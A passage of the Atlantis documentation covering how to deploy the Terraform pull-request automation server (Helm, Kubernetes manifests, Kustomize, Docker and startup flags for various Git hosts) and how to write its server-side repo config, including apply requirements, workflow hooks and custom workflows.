**Note**: For helm chart version < `4.0.2`, `orgWhitelist` must be used instead. 6. Configure any other variables (see [Atlantis Helm Chart: Customization](https://github.com/runatlantis/helm-charts#customization) for documentation) 7. Run sh helm install atlantis runatlantis/atlantis -f values.yaml If you are using helm v2, run: sh helm install -f values.yaml runatlantis/atlantis Atlantis should be up and running in minutes! See [Next Steps](https://www.runatlantis.io/docs/deployment.html#next-steps) for what to do next. ### Kubernetes Manifests [​](https://www.runatlantis.io/docs/deployment.html#kubernetes-manifests) If you'd like to use a raw Kubernetes manifest, we offer either a [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or a [Statefulset](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/) with persistent storage. StatefulSet is recommended because Atlantis stores its data on disk and so if your Pod dies or you upgrade Atlantis, you won't lose plans that haven't been applied. If you do lose that data, you just need to run `atlantis plan` again so it's not the end of the world. Regardless of whether you choose a Deployment or StatefulSet, first create a Secret with the webhook secret and access token: bash echo -n "yourtoken" > token echo -n "yoursecret" > webhook-secret kubectl create secret generic atlantis-vcs --from-file=token --from-file=webhook-secret Next, edit the manifests below as follows: 1. Replace `` in `image: ghcr.io/runatlantis/atlantis:` with the most recent version from [GitHub: Atlantis latest release](https://github.com/runatlantis/atlantis/releases/latest) . * NOTE: You never want to run with `:latest` because if your Pod moves to a new node, Kubernetes will pull the latest image and you might end up upgrading Atlantis by accident! 2. Replace `value: github.com/yourorg/*` under `name: ATLANTIS_REPO_ALLOWLIST` with the allowlist pattern for your Terraform repos. See [\--repo-allowlist](https://www.runatlantis.io/docs/server-configuration#repo-allowlist) for more details. 3. If you're using GitHub: 1. Replace `` with the username of your Atlantis GitHub user without the `@`. 2. Delete all the `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 4. If you're using GitLab: 1. Replace `` with the username of your Atlantis GitLab user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 5. If you're using Gitea: 1. Replace `` with the username of your Atlantis Gitea user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 6. If you're using Bitbucket: 1. Replace `` with the username of your Atlantis Bitbucket user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables. 7. If you're using Azure DevOps: 1. Replace `` with the username of your Atlantis Azure DevOps user without the `@`. 2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_BITBUCKET_*` environment variables. #### StatefulSet Manifest [​](https://www.runatlantis.io/docs/deployment.html#statefulset-manifest) Show... yaml apiVersion: apps/v1 kind: StatefulSet metadata: name: atlantis spec: serviceName: atlantis replicas: 1 updateStrategy: type: RollingUpdate rollingUpdate: partition: 0 selector: matchLabels: app.kubernetes.io/name: atlantis template: metadata: labels: app.kubernetes.io/name: atlantis spec: securityContext: fsGroup: 1000 # Atlantis group (1000) read/write access to volumes. containers: - name: atlantis image: ghcr.io/runatlantis/atlantis:v # 1. Replace with the most recent release. env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. ### GitHub Config ### - name: ATLANTIS_GH_USER value: # 3i. If you're using GitHub replace with the username of your Atlantis GitHub user without the `@`. - name: ATLANTIS_GH_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GH_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitHub Config ### ### GitLab Config ### - name: ATLANTIS_GITLAB_USER value: # 4i. If you're using GitLab replace with the username of your Atlantis GitLab user without the `@`. - name: ATLANTIS_GITLAB_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITLAB_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitLab Config ### ### Gitea Config ### - name: ATLANTIS_GITEA_USER value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. - name: ATLANTIS_GITEA_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITEA_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End Gitea Config ### ### Bitbucket Config ### - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. - name: ATLANTIS_BITBUCKET_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_BITBUCKET_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End Bitbucket Config ### ### Azure DevOps Config ### - name: ATLANTIS_AZUREDEVOPS_USER value: # 6i. If you're using Azure DevOps replace with the username of your Atlantis Azure DevOps user without the `@`. - name: ATLANTIS_AZUREDEVOPS_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_USER valueFrom: secretKeyRef: name: atlantis-vcs key: basic-user - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD valueFrom: secretKeyRef: name: atlantis-vcs key: basic-password ### End Azure DevOps Config ### - name: ATLANTIS_DATA_DIR value: /atlantis - name: ATLANTIS_PORT value: "4141" # Kubernetes sets an ATLANTIS_PORT variable so we need to override. volumeMounts: - name: atlantis-data mountPath: /atlantis ports: - name: atlantis containerPort: 4141 resources: requests: memory: 256Mi cpu: 100m limits: memory: 256Mi cpu: 100m livenessProbe: # We only need to check every 60s since Atlantis is not a # high-throughput service. periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP readinessProbe: periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP volumeClaimTemplates: - metadata: name: atlantis-data spec: accessModes: ["ReadWriteOnce"] # Volume should not be shared by multiple nodes. resources: requests: # The biggest thing Atlantis stores is the Git repo when it checks it out. # It deletes the repo after the pull request is merged. storage: 5Gi --- apiVersion: v1 kind: Service metadata: name: atlantis spec: type: ClusterIP ports: - name: atlantis port: 80 targetPort: 4141 selector: app.kubernetes.io/name: atlantis #### Deployment Manifest [​](https://www.runatlantis.io/docs/deployment.html#deployment-manifest) Show... yaml apiVersion: apps/v1 kind: Deployment metadata: name: atlantis labels: app.kubernetes.io/name: atlantis spec: replicas: 1 selector: matchLabels: app.kubernetes.io/name: atlantis template: metadata: labels: app.kubernetes.io/name: atlantis spec: containers: - name: atlantis image: ghcr.io/runatlantis/atlantis:v # 1. Replace with the most recent release. env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. ### GitHub Config ### - name: ATLANTIS_GH_USER value: # 3i. If you're using GitHub replace with the username of your Atlantis GitHub user without the `@`. - name: ATLANTIS_GH_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GH_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitHub Config ### ### GitLab Config ### - name: ATLANTIS_GITLAB_USER value: # 4i. If you're using GitLab replace with the username of your Atlantis GitLab user without the `@`. - name: ATLANTIS_GITLAB_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITLAB_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End GitLab Config ### ### Gitea Config ### - name: ATLANTIS_GITEA_USER value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. - name: ATLANTIS_GITEA_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITEA_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret ### End Gitea Config ### ### Bitbucket Config ### - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. - name: ATLANTIS_BITBUCKET_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token ### End Bitbucket Config ### ### Azure DevOps Config ### - name: ATLANTIS_AZUREDEVOPS_USER value: # 6i. If you're using Azure DevOps replace with the username of your Atlantis Azure DevOps user without the `@`. - name: ATLANTIS_AZUREDEVOPS_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_USER valueFrom: secretKeyRef: name: atlantis-vcs key: basic-user - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD valueFrom: secretKeyRef: name: atlantis-vcs key: basic-password ### End Azure DevOps Config ### - name: ATLANTIS_PORT value: "4141" # Kubernetes sets an ATLANTIS_PORT variable so we need to override. ports: - name: atlantis containerPort: 4141 resources: requests: memory: 256Mi cpu: 100m limits: memory: 256Mi cpu: 100m livenessProbe: # We only need to check every 60s since Atlantis is not a # high-throughput service. periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP readinessProbe: periodSeconds: 60 httpGet: path: /healthz port: 4141 # If using https, change this to HTTPS scheme: HTTP --- apiVersion: v1 kind: Service metadata: name: atlantis spec: type: ClusterIP ports: - name: atlantis port: 80 targetPort: 4141 selector: app.kubernetes.io/name: atlantis #### Routing and SSL [​](https://www.runatlantis.io/docs/deployment.html#routing-and-ssl) The manifests above create a Kubernetes `Service` of `type: ClusterIP` which isn't accessible outside your cluster. Depending on how you're doing routing into Kubernetes, you may want to use a Service of `type: LoadBalancer` so that Atlantis is accessible to GitHub/GitLab and your internal users. If you want to add SSL you can use something like [cert-manager](https://github.com/cert-manager/cert-manager) to generate SSL certs and mount them into the Pod. Then set the `ATLANTIS_SSL_CERT_FILE` and `ATLANTIS_SSL_KEY_FILE` environment variables to enable SSL. You could also set up SSL at your LoadBalancer. **You're done! See [Next Steps](https://www.runatlantis.io/docs/deployment.html#next-steps) for what to do next.** ### Kubernetes Kustomize [​](https://www.runatlantis.io/docs/deployment.html#kubernetes-kustomize) A `kustomization.yaml` file is provided in the directory `kustomize/`, so you may use this repository as a remote base for deploying Atlantis with Kustomize. You will need to provide a secret (with the default name of `atlantis-vcs`) to configure Atlantis with access credentials for your remote repositories. Example: yaml bases: - github.com/runatlantis/atlantis//kustomize resources: - secrets.yaml **Important:** You must ensure you patch the provided manifests with the correct environment variables for your installation. You can create inline patches from your `kustomization.yaml` file such as below: yaml patchesStrategicMerge: - |- apiVersion: apps/v1 kind: StatefulSet metadata: name: atlantis spec: template: spec: ... #### Required [​](https://www.runatlantis.io/docs/deployment.html#required) yaml ... containers: - name: atlantis env: - name: ATLANTIS_REPO_ALLOWLIST value: github.com/yourorg/* # 2. Replace this with your own repo allowlist. #### GitLab [​](https://www.runatlantis.io/docs/deployment.html#gitlab) yaml ... containers: - name: atlantis env: - name: ATLANTIS_GITLAB_USER value: # 4i. If you're using GitLab replace with the username of your Atlantis GitLab user without the `@`. - name: ATLANTIS_GITLAB_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITLAB_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret #### Gitea [​](https://www.runatlantis.io/docs/deployment.html#gitea) yaml containers: - name: atlantis env: - name: ATLANTIS_GITEA_USER value: # 4i. If you're using Gitea replace with the username of your Atlantis Gitea user without the `@`. - name: ATLANTIS_GITEA_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GITEA_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret #### GitHub [​](https://www.runatlantis.io/docs/deployment.html#github) yaml ... containers: - name: atlantis env: - name: ATLANTIS_GH_USER value: # 3i. If you're using GitHub replace with the username of your Atlantis GitHub user without the `@`. - name: ATLANTIS_GH_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token - name: ATLANTIS_GH_WEBHOOK_SECRET valueFrom: secretKeyRef: name: atlantis-vcs key: webhook-secret #### BitBucket [​](https://www.runatlantis.io/docs/deployment.html#bitbucket) yaml ... containers: - name: atlantis env: - name: ATLANTIS_BITBUCKET_USER value: # 5i. If you're using Bitbucket replace with the username of your Atlantis Bitbucket user without the `@`. - name: ATLANTIS_BITBUCKET_TOKEN valueFrom: secretKeyRef: name: atlantis-vcs key: token ### OpenShift [​](https://www.runatlantis.io/docs/deployment.html#openshift) The Helm chart and Kubernetes manifests above are compatible with OpenShift, however you need to run with an additional environment variable: `HOME=/home/atlantis`. This is required because OpenShift runs Docker images with random user id's that use `/` as their home directory. ### AWS Fargate [​](https://www.runatlantis.io/docs/deployment.html#aws-fargate) If you'd like to run Atlantis on [AWS Fargate](https://aws.amazon.com/fargate/) check out the Atlantis module on the [Terraform Module Registry](https://registry.terraform.io/modules/terraform-aws-modules/atlantis/aws/latest) and then check out the [Next Steps](https://www.runatlantis.io/docs/deployment.html#next-steps) . ### Google Kubernetes Engine (GKE) [​](https://www.runatlantis.io/docs/deployment.html#google-kubernetes-engine-gke) You can run Atlantis on GKE using the [Helm chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) or the [manifests](https://www.runatlantis.io/docs/deployment.html#kubernetes-manifests) . There is also a set of full Terraform configurations that create a GKE Cluster, Cloud Storage Backend and TLS certs: [sethvargo atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke) . Once you're done, see [Next Steps](https://www.runatlantis.io/docs/deployment.html#next-steps) . ### Google Compute Engine (GCE) [​](https://www.runatlantis.io/docs/deployment.html#google-compute-engine-gce) Atlantis can be run on Google Compute Engine using a Terraform module that deploys it as a Docker container on a managed Compute Engine instance. This [Terraform module](https://registry.terraform.io/modules/runatlantis/atlantis/gce/latest) features the creation of a Cloud load balancer, a Container-Optimized OS-based VM, a persistent data disk, and a managed instance group. After it is deployed, see [Next Steps](https://www.runatlantis.io/docs/deployment.html#next-steps) . ### Docker [​](https://www.runatlantis.io/docs/deployment.html#docker) Atlantis has an [official](https://ghcr.io/runatlantis/atlantis) Docker image: `ghcr.io/runatlantis/atlantis`. #### Customization [​](https://www.runatlantis.io/docs/deployment.html#customization) If you need to modify the Docker image that we provide, for instance to add the terragrunt binary, you can do something like this: 1. Create a custom docker file dockerfile FROM ghcr.io/runatlantis/atlantis:{latest version} # copy a terraform binary of the version you need USER root COPY terragrunt /usr/local/bin/terragrunt USER atlantis Beginning with version 0.26.0, the Atlantis image has been updated to run under the atlantis user, replacing the previous root user configuration. This change necessitates adjustments in existing container definitions and scripts to accommodate the new user settings. In scenarios where additional packages from other images are required, users can temporarily switch to the root user by inserting USER root in the Dockerfile. Following the installation of necessary packages, it is advisable to revert to the atlantis user for initiating the Atlantis service. Additionally, the /docker-entrypoint.d/ directory offers a flexible option for introducing extra scripts to be executed prior to the launch of the Atlantis server. This feature is particularly beneficial for users seeking to customize their Atlantis instance without the need to develop a dedicated pipeline. **Important Notice**: There is a critical update regarding the data directory in Atlantis. In versions prior to 0.26.0, the directory was configured to be accessible by the root user. However, with the transition to the atlantis user in newer versions, it is imperative to update the directory permissions accordingly in your current deployment when upgrading to a version later than 0.26.0. This step ensures seamless access and functionality for the atlantis user. 1. Build your Docker image bash docker build -t {YOUR_DOCKER_ORG}/atlantis-custom . 2. Run your image bash docker run {YOUR_DOCKER_ORG}/atlantis-custom server --gh-user=GITHUB_USERNAME --gh-token=GITHUB_TOKEN ### Microsoft Azure [​](https://www.runatlantis.io/docs/deployment.html#microsoft-azure) The standard [Kubernetes Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) should work fine on [Azure Kubernetes Service](https://docs.microsoft.com/en-us/azure/aks/intro-kubernetes) . Another option is [Azure Container Instances](https://docs.microsoft.com/en-us/azure/container-instances/) . See this community member's [repo](https://github.com/jplane/atlantis-on-aci) or the new and more up-to-date [Terraform module](https://github.com/getindata/terraform-azurerm-atlantis) for install scripts and more information on running Atlantis on ACI. **Note on ACI Deployment:** Due to a bug in earlier Docker releases, Docker v23.0.0 or later is required for straightforward deployment. Alternatively, the Atlantis Docker image can be pushed to a private registry such as ACR and then used. ### Roll Your Own [​](https://www.runatlantis.io/docs/deployment.html#roll-your-own) If you want to roll your own Atlantis installation, you can get the `atlantis` binary from [GitHub](https://github.com/runatlantis/atlantis/releases) or use the [official Docker image](https://ghcr.io/runatlantis/atlantis) . #### Startup Command [​](https://www.runatlantis.io/docs/deployment.html#startup-command) The exact flags to `atlantis server` depends on your Git host: ##### GitHub [​](https://www.runatlantis.io/docs/deployment.html#github-1) bash atlantis server \ --atlantis-url="$URL" \ --gh-user="$USERNAME" \ --gh-token="$TOKEN" \ --gh-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ##### GitHub Enterprise [​](https://www.runatlantis.io/docs/deployment.html#github-enterprise) bash HOSTNAME=YOUR_GITHUB_ENTERPRISE_HOSTNAME # ex. github.runatlantis.io or tenant.ghe.com atlantis server \ --atlantis-url="$URL" \ --gh-user="$USERNAME" \ --gh-token="$TOKEN" \ --gh-webhook-secret="$SECRET" \ --gh-hostname="$HOSTNAME" \ --repo-allowlist="$REPO_ALLOWLIST" For GitHub Enterprise Cloud, set `--gh-hostname` to the tenant hostname, such as `tenant.ghe.com`, without `https://` or an `api.` prefix. ##### GitLab [​](https://www.runatlantis.io/docs/deployment.html#gitlab-1) bash atlantis server \ --atlantis-url="$URL" \ --gitlab-user="$USERNAME" \ --gitlab-token="$TOKEN" \ --gitlab-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ##### GitLab Enterprise [​](https://www.runatlantis.io/docs/deployment.html#gitlab-enterprise) bash HOSTNAME=YOUR_GITLAB_ENTERPRISE_HOSTNAME # ex. gitlab.runatlantis.io atlantis server \ --atlantis-url="$URL" \ --gitlab-user="$USERNAME" \ --gitlab-token="$TOKEN" \ --gitlab-webhook-secret="$SECRET" \ --gitlab-hostname="$HOSTNAME" \ --repo-allowlist="$REPO_ALLOWLIST" ##### Gitea [​](https://www.runatlantis.io/docs/deployment.html#gitea-1) bash GITEA_BASE_URL=YOUR_GITEA_BASE_URL # ex. https://gitea.example.com:3000 atlantis server \ --atlantis-url="$URL" \ --gitea-user="$USERNAME" \ --gitea-token="$TOKEN" \ --gitea-base-url="$GITEA_BASE_URL" \ --gitea-webhook-secret="$SECRET" \ --gitea-page-size=30 \ --repo-allowlist="$REPO_ALLOWLIST" ##### Bitbucket Cloud (bitbucket.org) [​](https://www.runatlantis.io/docs/deployment.html#bitbucket-cloud-bitbucket-org) bash atlantis server \ --atlantis-url="$URL" \ --bitbucket-user="$USERNAME" \ --bitbucket-token="$TOKEN" \ --bitbucket-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ##### Bitbucket Server (aka Stash) [​](https://www.runatlantis.io/docs/deployment.html#bitbucket-server-aka-stash) bash BASE_URL=YOUR_BITBUCKET_SERVER_URL # ex. http://bitbucket.mycorp:7990 atlantis server \ --atlantis-url="$URL" \ --bitbucket-user="$USERNAME" \ --bitbucket-token="$TOKEN" \ --bitbucket-webhook-secret="$SECRET" \ --bitbucket-base-url="$BASE_URL" \ --repo-allowlist="$REPO_ALLOWLIST" ##### Azure DevOps [​](https://www.runatlantis.io/docs/deployment.html#azure-devops) A certificate and private key are required if using Basic authentication for webhooks. bash atlantis server \ --atlantis-url="$URL" \ --azuredevops-user="$USERNAME" \ --azuredevops-token="$TOKEN" \ --azuredevops-webhook-user="$ATLANTIS_AZUREDEVOPS_WEBHOOK_USER" \ --azuredevops-webhook-password="$ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD" \ --repo-allowlist="$REPO_ALLOWLIST" --ssl-cert-file=file.crt --ssl-key-file=file.key Where * `$URL` is the URL that Atlantis can be reached at * `$USERNAME` is the GitHub/GitLab/Gitea/Bitbucket/AzureDevops username you generated the token for * `$TOKEN` is the access token you created. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file (see [Configuration](https://www.runatlantis.io/docs/server-configuration#environment-variables) ) or as an environment variable: `ATLANTIS_GH_TOKEN` or `ATLANTIS_GITLAB_TOKEN` or `ATLANTIS_GITEA_TOKEN` or `ATLANTIS_BITBUCKET_TOKEN` or `ATLANTIS_AZUREDEVOPS_TOKEN` * `$SECRET` is the random key you used for the webhook secret. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file (see [Configuration](https://www.runatlantis.io/docs/server-configuration#environment-variables) ) or as an environment variable: `ATLANTIS_GH_WEBHOOK_SECRET` or `ATLANTIS_GITLAB_WEBHOOK_SECRET` or `ATLANTIS_GITEA_WEBHOOK_SECRET` * `$REPO_ALLOWLIST` is which repos Atlantis can run on, ex. `github.com/runatlantis/*` or `github.enterprise.corp.com/*`. See [\--repo-allowlist](https://www.runatlantis.io/docs/server-configuration#repo-allowlist) for more details. Atlantis is now running! TIP We recommend running it under something like Systemd or Supervisord that will restart it in case of failure. Next Steps [​](https://www.runatlantis.io/docs/deployment.html#next-steps) --------------------------------------------------------------------------- * To ensure Atlantis is running, load its UI. By default Atlantis runs on port `4141`. * Now you're ready to add Webhooks to your repos. See [Configuring Webhooks](https://www.runatlantis.io/docs/configuring-webhooks) . --- # Server Side Repo Config | Atlantis [Skip to content](https://www.runatlantis.io/docs/server-side-repo-config.html#VPContent) On this page Server Side Repo Config [​](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-repo-config) ================================================================================================================== A Server-Side Config file is used for more groups of server config that can't reasonably be expressed through flags. One such usecase is to control per-repo behaviour and what users can do in repo-level `atlantis.yaml` files. Do I Need A Server-Side Config File? [​](https://www.runatlantis.io/docs/server-side-repo-config.html#do-i-need-a-server-side-config-file) ------------------------------------------------------------------------------------------------------------------------------------------- You do not need a server-side repo config file unless you want to customize some aspect of Atlantis on a per-repo basis. Read through the [use-cases](https://www.runatlantis.io/docs/server-side-repo-config.html#use-cases) to determine if you need it. Enabling Server Side Config [​](https://www.runatlantis.io/docs/server-side-repo-config.html#enabling-server-side-config) -------------------------------------------------------------------------------------------------------------------------- To use server side repo config create a config file, ex. `repos.yaml`, and pass it to the `atlantis server` command via the `--repo-config` flag, ex. `--repo-config=path/to/repos.yaml`. If you don't wish to write a config file to disk, you can use the `--repo-config-json` flag or `ATLANTIS_REPO_CONFIG_JSON` environment variable to specify your config as JSON. See [\--repo-config-json](https://www.runatlantis.io/docs/server-configuration#repo-config-json) for an example. Example Server Side Repo [​](https://www.runatlantis.io/docs/server-side-repo-config.html#example-server-side-repo) -------------------------------------------------------------------------------------------------------------------- yaml # repos lists the config for specific repos. repos: # id can either be an exact repo ID or a regex. # If using a regex, it must start and end with a slash. # Repo ID's are of the form {VCS hostname}/{org}/{repo name}, ex. # github.com/runatlantis/atlantis. - id: /.*/ # branch is a regex matching pull requests by base branch # (the branch the pull request is getting merged into). # By default, all branches are matched branch: /.*/ # repo_config_file specifies which repo config file to use for this repo. # By default, atlantis.yaml is used. repo_config_file: path/to/atlantis.yaml # plan_requirements sets the Plan Requirements for all repos that match. plan_requirements: [approved, mergeable, undiverged] # apply_requirements sets the Apply Requirements for all repos that match. apply_requirements: [approved, mergeable, undiverged] # import_requirements sets the Import Requirements for all repos that match. import_requirements: [approved, mergeable, undiverged] # workflow sets the workflow for all repos that match. # This workflow must be defined in the workflows section. workflow: custom # allowed_overrides specifies which keys can be overridden by this repo in # its atlantis.yaml file. allowed_overrides: [apply_requirements, workflow, delete_source_branch_on_merge, repo_locking, repo_locks, custom_policy_check] # allowed_workflows specifies which workflows the repos that match # are allowed to select. allowed_workflows: [custom] # allow_custom_workflows defines whether this repo can define its own # workflows. If false (default), the repo can only use server-side defined # workflows. allow_custom_workflows: true # delete_source_branch_on_merge defines whether the source branch would be deleted on merge # If false (default), the source branch won't be deleted on merge delete_source_branch_on_merge: true # repo_locking defines whether lock repository when planning. # If true (default), atlantis try to get a lock. # deprecated: use repo_locks instead repo_locking: true # repo_locks defines whether the repository would be locked on apply instead of plan, or disabled # Valid values are on_plan (default), on_apply or disabled. repo_locks: mode: on_plan # custom_policy_check defines whether policy checking tools besides Conftest are enabled in checks # If false (default), only Conftest JSON output is allowed custom_policy_check: false # pre_workflow_hooks defines arbitrary list of scripts to execute before workflow execution. pre_workflow_hooks: - run: my-pre-workflow-hook-command arg1 # post_workflow_hooks defines arbitrary list of scripts to execute after workflow execution. post_workflow_hooks: - run: my-post-workflow-hook-command arg1 # policy_check defines if policy checking should be enabled on this repository. policy_check: false # autodiscover defines how atlantis should automatically discover projects in this repository. # If any part of this setting is set here, it overrides the entire setting in the repo config. autodiscover: mode: auto # Optionally ignore some paths for autodiscovery by a glob path. # When autodiscovery is enabled, also applies to all targeted -d commands # (plan, apply, import, etc.) when the path has no explicit project configuration. ignore_paths: - foo/* # id can also be an exact match. - id: github.com/myorg/specific-repo # workflows lists server-side custom workflows workflows: custom: plan: steps: - run: my-custom-command arg1 arg2 - init - plan: extra_args: ["-lock", "false"] - run: my-custom-command arg1 arg2 apply: steps: - run: echo hi - apply Use Cases [​](https://www.runatlantis.io/docs/server-side-repo-config.html#use-cases) -------------------------------------------------------------------------------------- Here are some of the reasons you might want to use a repo config. ### Requiring PR Is Approved Before an applicable subcommand [​](https://www.runatlantis.io/docs/server-side-repo-config.html#requiring-pr-is-approved-before-an-applicable-subcommand) If you want to require that all (or specific) repos must have pull requests approved before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys. For all repos: yaml # repos.yaml repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] For a specific repo: yaml # repos.yaml repos: - id: github.com/myorg/myrepo plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] See [Command Requirements](https://www.runatlantis.io/docs/command-requirements) for more details. ### Requiring PR Is "Mergeable" Before Apply or Import [​](https://www.runatlantis.io/docs/server-side-repo-config.html#requiring-pr-is-mergeable-before-apply-or-import) If you want to require that all (or specific) repos must have pull requests in a mergeable state before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys. For all repos: yaml # repos.yaml repos: - id: /.*/ plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] For a specific repo: yaml # repos.yaml repos: - id: github.com/myorg/myrepo plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] See [Command Requirements](https://www.runatlantis.io/docs/command-requirements) for more details. ### Repos Can Set Their Own Apply Requirements [​](https://www.runatlantis.io/docs/server-side-repo-config.html#repos-can-set-their-own-apply-requirements) If you want all (or specific) repos to be able to override the default apply requirements, use the `allowed_overrides` key. To allow all repos to override the default: yaml # repos.yaml repos: - id: /.*/ # The default will be approved. plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # But all repos can set their own using atlantis.yaml allowed_overrides: [plan_requirements, apply_requirements, import_requirements] To allow only a specific repo to override the default: yaml # repos.yaml repos: # Set a default for all repos. - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # Allow a specific repo to override. - id: github.com/myorg/myrepo allowed_overrides: [plan_requirements, apply_requirements, import_requirements] Then each allowed repo can have an `atlantis.yaml` file that sets `plan_requirements`, `apply_requirements` or `import_requirements` to an empty array (disabling the requirement). yaml # atlantis.yaml in the repo root or set repo_config_file in repos.yaml version: 3 projects: - dir: . plan_requirements: [] apply_requirements: [] import_requirements: [] ### Running Scripts Before Atlantis Workflows [​](https://www.runatlantis.io/docs/server-side-repo-config.html#running-scripts-before-atlantis-workflows) If you want to run scripts that would execute before Atlantis can run default or custom workflows, you can create a `pre-workflow-hooks`: yaml repos: - id: /.*/ pre_workflow_hooks: - run: my custom command - run: | my bash script inline See [Pre Workflow Hooks](https://www.runatlantis.io/docs/pre-workflow-hooks) for more details on writing pre workflow hooks. ### Running Scripts After Atlantis Workflows [​](https://www.runatlantis.io/docs/server-side-repo-config.html#running-scripts-after-atlantis-workflows) If you want to run scripts that would execute after Atlantis runs default or custom workflows, you can create a `post-workflow-hooks`: yaml repos: - id: /.*/ post_workflow_hooks: - run: my custom command - run: | my bash script inline See [Post Workflow Hooks](https://www.runatlantis.io/docs/post-workflow-hooks) for more details on writing post workflow hooks. ### Change The Default Atlantis Workflow [​](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) If you want to change the default commands that Atlantis runs during `plan` and `apply` phases, you can create a new `workflow`. If you want to use that workflow by default for all repos, use the workflow key `default`: yaml # repos.yaml # NOTE: the repos key is not required. workflows: # It's important that this is "default". default: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command See [Custom Workflows](https://www.runatlantis.io/docs/custom-workflows) for more details on writing custom workflows. ### Allow Repos To Choose A Server-Side Workflow [​](https://www.runatlantis.io/docs/server-side-repo-config.html#allow-repos-to-choose-a-server-side-workflow) If you want repos to be able to choose their own workflows that are defined in the server-side repo config, you need to create the workflows server-side and then allow each repo to override the `workflow` key: yaml # repos.yaml # Allow repos to override the workflow key. repos: - id: /.*/ allowed_overrides: [workflow] # Define your custom workflows. workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command custom2: plan: steps: - run: another custom command apply: steps: - run: another custom command Or, if you want to restrict what workflows each repo has access to, use the `allowed_workflows` key: yaml # repos.yaml # Restrict which workflows repos can select. repos: - id: /.*/ allowed_overrides: [workflow] - id: /my_repo/ 